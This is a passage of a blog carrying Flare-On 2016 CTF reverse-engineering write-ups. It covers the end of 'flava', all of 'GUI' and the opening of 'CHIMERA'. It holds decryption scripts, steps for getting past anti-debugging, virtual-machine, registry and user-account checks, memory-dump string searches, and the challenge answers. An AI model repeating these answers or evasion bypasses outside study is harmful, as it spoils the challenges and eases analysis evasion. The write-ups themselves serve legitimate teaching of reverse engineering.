<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyilq_FUCUdW0EdmRs0J6VEEi8O5tLFgtlTKvpI7gs37CmG3D5puweL5zJq8ZKZ5zl6OCfCAlqfEy-ItP9QmrJEtA1LhITJ6lFh22R4CBUAhyFf-q8SHh2tkMwYlNvWSW4ZJ0tKyt2g_Sh/s1600/works_every_time.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyilq_FUCUdW0EdmRs0J6VEEi8O5tLFgtlTKvpI7gs37CmG3D5puweL5zJq8ZKZ5zl6OCfCAlqfEy-ItP9QmrJEtA1LhITJ6lFh22R4CBUAhyFf-q8SHh2tkMwYlNvWSW4ZJ0tKyt2g_Sh/s400/works_every_time.jpg"/></a></div>
</br>
Luckily for us it does work on this SWFSecure obfuscation. The part we need to focus on is the constructor of class §-_§. We notice that the function is loading some external parameters but we know for sure that the landing page does not pass any parameters to the flash file, and neither does the previous layer:
</br></br>
<pre class="brush:as3;">
[ .. snip .. ]
//loads parameters
var _loc1_:Object = this.root.loaderInfo.parameters;
//uses loaded params
if(_loc1_.flare == "On")
{
_loc2_ = new Loader();
_loc3_ = new LoaderContext(false,this.root.loaderInfo.applicationDomain,null);
this.§-_---_§ = new Array();
this.§-__-_--§ = new ByteArray();
//uses loaded params twice
this.§-_-___-§ = _loc1_.x;
this.§--___-_§ = _loc1_.y;
[ .. snip .. ]
</pre>
</br>
As we can see, 3 parameters should have been loaded from somewhere. If we take a look at the binaryData folder, something catches our eye:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnAG1xhZ2tHKI9Vh_jO4TgAKoke8R8y6W5dFPOtuGUXFEukpeXj04zP5O5a5fXwgHjj-IsLYBYKDWwjVbORmJqk8q7eGWTqE2nTSzA3JR7Sm48wFo-QVeP6NfoRMvFV6jQ9WNva5OS3KVn/s1600/intelinside.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnAG1xhZ2tHKI9Vh_jO4TgAKoke8R8y6W5dFPOtuGUXFEukpeXj04zP5O5a5fXwgHjj-IsLYBYKDWwjVbORmJqk8q7eGWTqE2nTSzA3JR7Sm48wFo-QVeP6NfoRMvFV6jQ9WNva5OS3KVn/s400/intelinside.png"/></a></div>
</br>
The name suggests that there's some information on Imgur. As images on Imgur are referenced using 7 random characters we visit <a href="http://imgur.com/vnUziJP"><span style="color: #cccccc;">http://imgur.com/vnUziJP</span></a>:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDrPtJVIeFKaY9uvBjXpUkAiBXN-O9k6-xBIO2lk1Odi9TaQfO0udhR6YD5N10_ZrWepcca7K0lk0z5Y8ttOkKpdu3Gu7j7BvB3kHnQaMeoXR0f3ev7PDY6q-q2aEIUDwlTBl7fmij3aRv/s1600/imgur_image.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDrPtJVIeFKaY9uvBjXpUkAiBXN-O9k6-xBIO2lk1Odi9TaQfO0udhR6YD5N10_ZrWepcca7K0lk0z5Y8ttOkKpdu3Gu7j7BvB3kHnQaMeoXR0f3ev7PDY6q-q2aEIUDwlTBl7fmij3aRv/s600/imgur_image.png"/></a></div>
</br>
If we download the image we notice that the size of the image is equal to size of the <b>Int3lIns1de_t3stImgurvnUziJP</b> binary data; there's a high chance that this binary data is the encrypted version of the image. Also, the class §-_§ contains an RC4 encryption/decryption function. With a plaintext-ciphertext pair encrypted using RC4, we don't require a key to decrypt other messsages; the question is, which one of the binary data might contain something interesting?
</br></br>
If we look at the constructor again, we notice that all the binary data objects are being pushed into a ByteArray() object, but 2 of them are not. In fact they're just loaded without being used. One of them is the <b>Int3lIns1de_t3stImgurvnUziJP</b> binary data and the other is <b>'31: --__-.-__--__'</b>. Let's decrypt this one using the following:
</br></br>
<pre class="brush:as3;">
//Encrypted version of the image
CT_in = open("CT.bin", 'rb')
//The image itself
PT_in = open("PT.png", 'rb')
//The other binary data
TBD_in = open("to_be_decrypted.bin", 'rb')
// resultant file
answer = open("result.bin",'wb')
CT_contents = CT_in.read()
PT_contents = PT_in.read()
TBD_contents = TBD_in.read()
//Compute ciphertext1 XOR plaintext1 = ciphertext2 XOR plaintext2
CT_squared = [ chr(ord(a) ^ ord(b)) for a,b in zip(CT_contents,PT_contents)]
//Compute ( ciphertext2 XOR plaintext2 ) XOR ciphertext2
result = [chr(ord(a) ^ ord(b)) for a,b in zip(CT_squared,TBD_contents)]
//write plaintext2
answer.write(''.join(result))
answer.close()
</pre>
</br>
If we open the result.bin file we get:
</br>
<pre class="brush:plain;">
x: 1BR0K3NCRYPT0FTW
y: 47:14546,46:1617,35:239,... [ .. snip ..] ...,6:733,21:4,1:1418,40:1618
</pre>
</br>
So finally we have the missing parameters. We now have to understand what's happening in the constructor of class §-_§, translate it into python and get the next flash file.
</br></br>
<b>PS</b>: If anyone knows of a way to dump the next SWF by inserting x and y in the current flash file and dumping the resultant SWF without coding the entire algorithm in python, please tell me how!!
</br></br>
The following is what this flash file does:
</br>
<ol>
<li style="color:#999999;">Takes 50 of the 52 binary data blobs and pushes them into a single array, call this ARRAY</li>
<li style="color:#999999;">Decrypts each element of ARRAY, i.e. each binary data, with <b>1BR0K3NCRYPT0FTW</b></li>
<ul>
<li style="color:#999999;">Uses the algorithm described above where it appends the first 16 chars to the key, MD5 hashes it, and uses it to RC4 decrypt</li>
</ul>
<li style="color:#999999;">Splits parameter y by <b>','</b> and splits each of them by <b>':'</b></li>
<li style="color:#999999;">For each of the coordinate (x,y) constructed in bullet point 3, get byte ARRAY[x][y]; concatenate them</li>
<li style="color:#999999;">If the MD5 hash of the result is equal to <b>600aa47f484cbd43ecd37de5cf111b10</b>, load it</li>
</ol>
</br>
We're only interested in bullet points 1 till 4. The following is the python implementation of these:
</br></br>
<pre class="brush:python;">
import hashlib
import base64
import glob,os
def KSA(key):
keylength = len(key)
S = range(256)
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i] # swap
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def convert_key(s):
return [ord(c) for c in s]
if __name__ == '__main__':
file_order = ["--_-__","---","---__-","-__-___","-_____-_",
"-___-___","--_--_","-_-__","---_","---_--",
"-----","-___-_-","-_______","-_-__-_","--__---",
"-____---","-___","-__-_-_","-___-","-_____-",
"-____-_","--_---","-_-__--","-__","-----_","-____-",
"--_--_-","--___-","----__","---__-_","---_---",
"-_--_--","-__--_-","-----_-","-__-","---__--",
"--__--","--_--__","-_-_","-_---","--_-__-",
"-_-_-_-","-_-____","---_-_","-__---","--_-_",
"-_--_-_","--_-___","-_--__-","-___-__"]
map = "47:14546,46:1617,35:239,4:47,35:394,3:575,
[ .. snip .. ]
,17:381,37:9021,31:676,33:15200,21:479,26:58,
16:304,6:733,21:4,1:1418,40:1618"
decrypted_files = []
#decrypt files
for file in file_order:
f_in = open("binaryData\\" + file + ".bin", 'rb')
f_contents = f_in.read()
nonce = f_contents[:16]
input = "1BR0K3NCRYPT0FTW"
m = hashlib.md5()
m.update(input + nonce)
key = m.hexdigest()
plaintext = f_contents[16:]
key = convert_key(key)
keystream = RC4(key)
temp_result = []
for c in plaintext:
temp_result.append(chr(ord(c) ^ keystream.next()))
decrypted_files.append(temp_result)
merged_file = []
rounds = map.split(',')
for round in rounds:
mapping = round.split(':')
merged_file.append(decrypted_files[int(mapping[0])][int(mapping[1])])
f_out = f_in = open("layer3.swf", 'wb')
f_out.write(''.join(merged_file))
f_out.close()
</pre>
</br>
The script produces the 3rd, and last SWF file for the challenge. JPEXS struggles to decompile it and increasing the timeout does not help; it still fails:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYnHQtHhSJJ5Xmus82ln0kvvXCZTvmvpM5JadkWaRBkW-b7pspqmHZXz4IvRU0wqeUrO0zrQUISoFSDkp6fNSUsXg5iqWJBVaWCjfTdve33cBPCXLDOwfhRjtliP4VmBUGbFTnMR0cQXDu/s1600/jpexs_fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYnHQtHhSJJ5Xmus82ln0kvvXCZTvmvpM5JadkWaRBkW-b7pspqmHZXz4IvRU0wqeUrO0zrQUISoFSDkp6fNSUsXg5iqWJBVaWCjfTdve33cBPCXLDOwfhRjtliP4VmBUGbFTnMR0cQXDu/s600/jpexs_fail.png"/></a></div>
</br>
We can still deobfuscate it though! The result is 1582 lines of Actionscript3. All we need to do here is trace the <b>_loc2_</b> variable at the end of the function and we get the very well-deserved key:
</br></br>
<b>angl3rcan7ev3nprim3@flare-on.com</b>
</br></br></br>
PS: Work files for this challenge including scripts, each layer of javascript and flash files, etc: <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/flava%20working%20files.rar"><span style="color: #cccccc;">Download</span></a>
</br>
key: <b>i_really_R34LL7_h8_flava</b>
</span>
</div>
GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com3tag:blogger.com,1999:blog-892957492981532265.post-49703837570688185732016-11-04T19:52:00.003-07:002016-11-04T19:52:49.528-07:00CTF Writeup - Flare-On 2016 - 09: GUI<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> GUI</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 9</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/GUI.exe"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br></br>
The binary is a C#.Net application. If we run it and hit the Start button:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXAMF696feve7SJycQC6e1-osrTEVfOPPG3jCNtuHIwXDGdAgOgcI5MfeX733Vz_PaR1OELI-caJuamok2Esi9621ZD9f2zHfUlV6mH1Sgd4Bar6hhDHSY4aIbBf37TNSoaVFGG6Ape3fQ/s1600/gui.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXAMF696feve7SJycQC6e1-osrTEVfOPPG3jCNtuHIwXDGdAgOgcI5MfeX733Vz_PaR1OELI-caJuamok2Esi9621ZD9f2zHfUlV6mH1Sgd4Bar6hhDHSY4aIbBf37TNSoaVFGG6Ape3fQ/s600/gui.bmp"/></a></div>
</br>
Notice the message "Combine all 6 shares". This is the goal of the challenge and it will become clear what these shares are later. For now let's blindly follow the suggestion.
</br></br>
Open the binary with dnSpy and we're confronted with some horrible Confuser obfuscation. Before we deobfuscate it, notice the 1st share in the Assembly Explorer window:
</br></br>
<ul>
<li><b style="color:#999999;">Share:1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64</b></li>
</ul>
</br>
Now we can debfuscate it using de4dot; unfortunately Unconfuser was refusing to deobfuscate the binary. To see the difference, the following is the obfuscated version of the button1_Click method:
</br></br>
<pre class="brush:csharp;">
private void button1_Click(object sender, EventArgs e)
{
byte[] buf = Form1.ReadResource(<Module>.\u206F\u202C\u206B\u202E\u200F\u206E\u202E\u206B\u202D\u206D\u200F\u206F\u200F\u200F\u202B\u202C\u200E\u206B\u202C\u202A\u202E\u206D\u206C\u200E\u206C\u206E\u200B\u200F\u206F\u200E\u202A\u206F\u206C\u200B\u206B\u206A\u206B\u202C\u206B\u206E\u202E<string>(282000140u));
byte[] buffer = this.decryptBuffer(buf);
byte[] rawAssembly = util.DecompressBuffer(buffer);
Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType(<Module>.\u202C\u200C\u200F\u202E\u202A\u200E\u202A\u206D\u206F\u200D\u206C\u202C\u200C\u206D\u200C\u206D\u206E\u200E\u200C\u202C\u200F\u206C\u206C\u200D\u200E\u206C\u200D\u202D\u206A\u206E\u200D\u202A\u200B\u206D\u206B\u200D\u206A\u206B\u206E\u206F\u202E<string>(370292149u));
MethodInfo method = type.GetMethod(<Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(547307959u));
bool flag = (bool)method.Invoke(null, new object[]
{
<Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(292816780u)
});
if (flag)
{
MessageBox.Show(<Module>.\u202D\u202A\u202E\u206C\u202B\u200F\u206B\u202A\u206C\u200D\u200D\u200C\u202B\u206F\u206F\u202C\u206F\u206E\u206D\u206C\u206D\u206F\u206D\u202B\u202C\u200C\u200E\u206B\u200E\u200D\u202C\u206C\u206B\u206E\u200C\u202D\u202E\u200C\u200C\u200C\u202E<string>(3452886671u));
return;
}
MessageBox.Show(<Module>.\u206B\u206A\u200E\u202B\u200E\u202B\u202C\u200F\u202E\u202D\u202B\u200F\u206E\u202B\u206B\u202B\u202A\u206E\u206C\u202B\u202E\u206F\u202C\u200C\u200E\u206A\u202B\u202E\u202D\u200D\u202C\u206E\u202D\u206B\u206D\u206C\u202B\u202D\u206C\u206A\u202E<string>(458656109u));
}
</pre>
</br>
The following is the unobfuscated version:
</br>
<pre class="brush:csharp;">
private void button1_Click(object sender, EventArgs e)
{
byte[] buf = Form1.ReadResource(<Module>.smethod_4<string>(282000140u));
byte[] buffer = this.decryptBuffer(buf);
byte[] rawAssembly = util.DecompressBuffer(buffer);
Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType(<Module>.smethod_5<string>(370292149u));
MethodInfo method = type.GetMethod(<Module>.smethod_2<string>(547307959u));
if ((bool)method.Invoke(null, new object[]
{
<Module>.smethod_2<string>(292816780u)
}))
{
MessageBox.Show(<Module>.smethod_6<string>(3452886671u));
return;
}
MessageBox.Show(<Module>.smethod_3<string>(458656109u));
}
</pre>
</br>
That's much better! So let's dive into it. The button click event, displayed above, is a good place to start. The code is reading some resource, decrypting it, decompressing it, loading it, getting a method, and then invoking it. The question is: what is it loading? If we step over it, lines 14 and 15 are never reached, which means that this unknown method is returning false. We probably need to make it return true. Let's step into it and see what's happening inside.
</br></br>
After quite a few steps we arrive at another module's constructor; the module being <b>Layer1.dll</b>, as can be seen from the Assembly Explorer:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXMTwpYTkZ57DPSxw9V93z6bGwbGidSLpnL0HydqtzWv12x7yLD35DzERBag5r4zZcPiM08xm3jc8U0X1YEAsL0rs-gi6COOXhcEFRtPO7r7_20bEpGXP0DjIfogSMjazt6FU1IZTEqVbo/s1600/layer1.dll.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXMTwpYTkZ57DPSxw9V93z6bGwbGidSLpnL0HydqtzWv12x7yLD35DzERBag5r4zZcPiM08xm3jc8U0X1YEAsL0rs-gi6COOXhcEFRtPO7r7_20bEpGXP0DjIfogSMjazt6FU1IZTEqVbo/s350/layer1.dll.bmp" /></a></div>
</br>
Once again we're back to obfuscated code. To obtain an unobfuscated version we can break at line 6 in the button click event handler displayed above, save the contents of variable <b>rawAssembly</b> which contains the raw bytes of the dll, deobfuscate it with Unconfuser and de4dot, and load it into dnSpy. Even though we can't run it, at least we'll have cleaner code to reference while stepping through the obfuscated one. From now on I will be displaying code extracts from the unobfuscated version even though the execution really happens in the obfuscated one.
</br></br>
Just after the constructor we get to the Start() function:
</br>
<pre class="brush:csharp;">
public static bool Start(string config)
{
Config config2 = Config.InitConfig(config);
if (config2 == null)
{
return false;
}
if (!CPUDetection.CheckCPUCount(config2.CPUCount))
{
return false;
}
if (config2.DebugDetection && Layer1.IsDebuggerPresent())
{
return false;
}
bool result;
try
{
string key = Layer1.getKey();
byte[] bytesToBeDecrypted = util.ReadResource(<Module>.smethod_2<string>(2155271801u));
byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
byte[] rawAssembly = util.DecompressBuffer(buffer);
Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType(<Module>.smethod_4<string>(1983674467u));
MethodInfo method = type.GetMethod(<Module>.smethod_2<string>(1619868913u));
result = (bool)method.Invoke(null, new object[]
{
<Module>.smethod_2<string>(2894386820u)
});
}
catch (Exception)
{
result = false;
}
return result;
}
</pre>
</br>
Notice the contents of the local variable <b>config</b>, which contains the 2nd share:
</br>
<ul>
<li><b style="color:#999999;">Share:2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3</b></li>
</ul>
</br>
The first part of Layer1's Start() function checks the CPU Count and if a debugger is present, both of which succeed on my machine; if not, just alter the result and make them pass.
</br></br>
It then runs the Layer1.getKey() function (line 19) which enumerates the subdirectories the binary is running from, computes the base64 of their MD5 hashes and checks if one of them matches <b>UtYSc3XYLz4wCCfrR5ssZQ==</b>. This translates to the word <b>share</b>. Create the required folder or modify one of the existing ones in dnSpy and continue execution. As in the previous layer, another dll is loaded into memory and the Start() function of this dll is called.
</br></br>
Welcome to Layer2.dll! The Start() function in layer2 looks more elaborate but in essence it is very similar to layer1:
</br>
<pre class="brush:csharp;">
public static bool Start(string config)
{
if (Layer2.IsVideoCardFromEmulator())
{
return false;
}
bool result;
try
{
string key = Layer2.getKey();
byte[] bytesToBeDecrypted = util.ReadResource(<Module>.smethod_5<string>(3753327011u));
MethodInfo method;
object[] array;
while (true)
{
IL_114:
uint arg_E7_0 = 940752502u;
while (true)
{
uint num;
switch ((num = (arg_E7_0 ^ 1520223704u)) % 8u)
{
case 0u:
goto IL_114;
case 1u:
{
Assembly assembly;
Type type = assembly.GetType(<Module>.smethod_2<string>(4061409225u));
arg_E7_0 = (num * 4242975297u ^ 1282056291u);
continue;
}
case 2u:
{
Type type;
method = type.GetMethod(<Module>.smethod_4<string>(2617334851u));
array = new object[1];
arg_E7_0 = (num * 1579163950u ^ 3648286203u);
continue;
}
case 3u:
{
byte[] rawAssembly;
Assembly assembly = Assembly.Load(rawAssembly);
arg_E7_0 = (num * 1590382241u ^ 2941013770u);
continue;
}
case 4u:
{
byte[] buffer;
byte[] rawAssembly = util.DecompressBuffer(buffer);
arg_E7_0 = (num * 92554542u ^ 2808918491u);
continue;
}
case 6u:
{
byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
arg_E7_0 = (num * 4054600647u ^ 1312138318u);
continue;
}
case 7u:
array[0] = <Module>.smethod_4<string>(927985914u);
arg_E7_0 = (num * 2757215955u ^ 2775083800u);
continue;
}
goto Block_3;
}
}
Block_3:
result = (bool)method.Invoke(null, array);
}
catch (Exception)
{
while (true)
{
IL_162:
uint arg_136_0 = 1603173826u;
while (true)
{
uint num;
switch ((num = (arg_136_0 ^ 1520223704u)) % 3u)
{
case 0u:
goto IL_162;
case 2u:
result = false;
arg_136_0 = (num * 1446448774u ^ 4267266598u);
continue;
}
goto Block_5;
}
}
Block_5:;
}
return result;
}
</pre>
</br>
The function Layer2.IsVideoCardFromEmulator() (line 3) uses the WMI query <b>select * from win32_videocontroller</b> to query our video card's make and fails if it matches one of the following: "virtual", "vmware", "parallel", "vm additions", "remotefx","generic","cirrus logic","standard vga","matrox". Change the result and move on.
</br></br>
The next interesting function is Layer2.getKey(); it enumerates all the keys under HKEY_CURRENT_USER, computes the base64 of their MD5 hashes and checks if one of them matches <b>Xr4ilOzQ4PCOq3aQ0qbuaQ==</b>. This translates to the word <b>secret</b>. Create the key or modify an existing one in dnSpy to bypass this check.
</br></br>
The rest of the Start() function (lines 11 - 70) is just a convoluted way to load the next dll using the same old function from the previous 2 layers.
</br></br>
Phew! We're in layer 3; this is getting old! I present you ... Layer3's Start() function:
</br>
<pre class="brush:csharp;">
public static bool Start(string config)
{
bool result;
try
{
string key = Layer3.getKey();
while (true)
{
IL_135:
uint arg_103_0 = 4289824873u;
while (true)
{
uint num;
switch ((num = (arg_103_0 ^ 3707440169u)) % 9u)
{
case 0u:
goto IL_135;
case 1u:
{
byte[] bytesToBeDecrypted;
byte[] bytes = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
arg_103_0 = (num * 661416811u ^ 2039414464u);
continue;
}
case 2u:
{
byte[] bytesToBeDecrypted = util.ReadResource(<Module>.smethod_5<string>(2921636399u));
arg_103_0 = (num * 3538037274u ^ 2949823500u);
continue;
}
case 4u:
{
byte[] bytes2;
File.WriteAllBytes(<Module>.smethod_6<string>(2663114732u), bytes2);
ProcessStartInfo processStartInfo = new ProcessStartInfo(<Module>.smethod_9<string>(1143424475u));
arg_103_0 = (num * 1327553900u ^ 1386100579u);
continue;
}
case 5u:
{
byte[] bytes;
File.WriteAllBytes(<Module>.smethod_6<string>(2505810066u), bytes);
arg_103_0 = (num * 3787366363u ^ 40351029u);
continue;
}
case 6u:
{
ProcessStartInfo processStartInfo;
Process.Start(processStartInfo);
arg_103_0 = (num * 284573691u ^ 2598046760u);
continue;
}
case 7u:
{
ProcessStartInfo processStartInfo;
processStartInfo.Verb = <Module>.smethod_6<string>(3666361390u);
arg_103_0 = (num * 183203051u ^ 3338640763u);
continue;
}
case 8u:
{
byte[] bytes2 = util.ReadResource(<Module>.smethod_8<string>(4245356310u));
arg_103_0 = (num * 748758343u ^ 2498904875u);
continue;
}
}
goto Block_2;
}
}
Block_2:
return true;
}
catch (Exception)
{
result = false;
}
return result;
}
</pre>
</br>
Once again we have a getKey() function which enumerates the users on the machine using the WMI query <b>select * from Win32_UserAccount</b> and, using the same MD5+Base64 method as in the previous layers, checks if the user <b>shamir</b> exists. Bypass it! You're probably an expert at doing this by now.
</br></br>
The rest of the function is a bit different than the previous ones. While stepping through from layer2 to layer3, you have probably realised that a new thread was being initialized and constructed, but never started. Line 49 is the point this happens. As soon as we step over this, the following image pops up:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgJ6dibDal4In2vKJvvL3adWUhMLg1CZFQsNTCYsetJfsqT2_g9GvWo2MpJXFF8lv3DGtl3oRQ0rftq1Ai5bCdyMKcQ5ZCXJ7Ah-whNkxqxU7Dk-EMtdCcZSaQ74ijAX1vZ_64k0E6G-F4/s1600/share6-decoded.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgJ6dibDal4In2vKJvvL3adWUhMLg1CZFQsNTCYsetJfsqT2_g9GvWo2MpJXFF8lv3DGtl3oRQ0rftq1Ai5bCdyMKcQ5ZCXJ7Ah-whNkxqxU7Dk-EMtdCcZSaQ74ijAX1vZ_64k0E6G-F4/s600/share6-decoded.png"/></a></div>
</br>
Nice, we've got Share 6:
</br></br>
<ul>
<li><b style="color:#999999;">Share:6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a</b></li>
</ul>
</br>
If we continue tracing, the execution hits line 71, which returns true, and step by step it starts exiting each embedded function until we get all the way to the original PE. This time it hits the other MessageBox.Show() function and we get:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmwUAa964b1n8rvyRxdtEVCbWTqlu5syQyRkidLtBt2mxRBuXkGFNFbglt5XGDw-Ot-AoP-G9wZkiRrnjH45q3TonqtU577LZ1M86a3EP8QwfYrZ9BA5rCASKrkJCPV6QszTfAD8ZNZqaF/s1600/thanks.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmwUAa964b1n8rvyRxdtEVCbWTqlu5syQyRkidLtBt2mxRBuXkGFNFbglt5XGDw-Ot-AoP-G9wZkiRrnjH45q3TonqtU577LZ1M86a3EP8QwfYrZ9BA5rCASKrkJCPV6QszTfAD8ZNZqaF/s400/thanks.png"/></a></div>
</br>
Is that it? What now? If we look at the folder where GUI.exe is, we notice a new binary called <b>ssss-combine.exe</b>. This binary is used to combine the shares we obtained to reveal a secret. Still, were are the other 3 shares?
</br></br>
At this point I thought I could either go through the program in a more thorough way, stepping into each and every function or, if the strings have been constructed at some point during the execution, they must reside in memory. And of course I went with the latter. So, memdump the process, run <b>strings</b> and <b>grep</b>:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># strings GUI.DMP | grep -i share:
Share:1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64
no/-|-\no/-|-\no/-|-\2/-|-\shareShare:2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3
Share:3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294
Share:4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd
Share:3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294
Share:4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd
Share:5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br></br>
Combining all 6 shares we get:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>ssss-combine.exe -t 6
Shamir Secret Sharing Scheme - $Id$
Copyright 2005 B. Poettering, Win32 port by Alex.Popov@leggettwood.com
Enter 6 shares separated by newlines:
Share [1/6]: 1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64
Share [2/6]: 2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3
Share [3/6]: 3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294
Share [4/6]: 4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd
Share [5/6]: 5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3
Share [6/6]: 6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a
Resulting secret: Shamir_1s_C0nfused@flare-on.com
C:\>
</div>
</br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-34803795158325551132016-11-04T19:48:00.001-07:002016-11-04T19:48:35.404-07:00CTF Writeup - Flare-On 2016 - 08: CHIMERA<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> CHIMERA</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 8</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/CHIMERA.EXE"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
This challenge was my personal favourite out of all 10 challenges. It's not particularly hard once you figure out what the trick is but the twist is what makes it interesting. Let's run the binary with some random input:
</br></br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>CHIMERA.EXE
This one's for the geezers.
Enter the password> who_are_you_calling_a_geezer
You have fail. Please try harder.
C:\>
</div>
</br></br></br>
Opening the binary in IDA shows a very simple function which reminds me of beginner-level crackmes:
</br></br>
